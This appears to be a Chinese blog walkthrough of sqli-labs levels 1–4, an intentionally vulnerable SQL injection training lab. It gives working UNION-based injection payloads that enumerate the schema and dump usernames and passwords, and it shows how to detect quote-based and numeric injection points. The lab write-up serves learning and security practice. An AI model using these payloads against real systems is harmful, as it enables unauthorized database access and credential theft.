sqli-labs的1-4关

第一关

 我们先通过输入?id=1’来测试出注入点。(后面的符号不只是测试“ ‘ ”号。)

通过测试发现只有“ ’ ”号是注入点,“ ;” “  "" ”等符号不是注入点。

 然后可以通过order by n 命令获取数据库字段名行数。页面的反应知道行数是否正确。

所以我们可以确定列名是3。然后我们就可以开始获取表名、数据表名和列名与字段

在这里我们使用联合注入,因为他会把结果输出给我们。
 

?id=-1' union select 1,user(),database()--+    #查询库名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();--+     #查询表名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+   #查询列名

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;--+  #查询字段,其中的 0X3a 是 ;号的十六进制表达,可以将输出结果更好的进行区分。

第二关

与第一关相同,先进行测试寻找注入点。

通过测试发现他属于数字型注入。然后直接将第一关的注入的代码将?id=1' 后的 ' 号去点,直接使用就行。

第三关

还是先测试查看注入点。

 经过多次测试发现 '  于  ”)其中一个是注入点。让我们加入代码测试发现 ")是注入点。(在这一步时,最好将?id=1改为?id=0或者负数,这样才会显示你想要的东西)

后面的步骤与之前的就一样了。

 

第四关

与先前一样,测试查找注入点,最终发现这次是 " 与 ") 都有嫌疑。不经过第三题,我们可以主观的判断出应该是“)。但还是需要测试一下,确保不会走歪路。结果显而易见,后面的步骤还是与上面的一样,直接带入代码即可。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值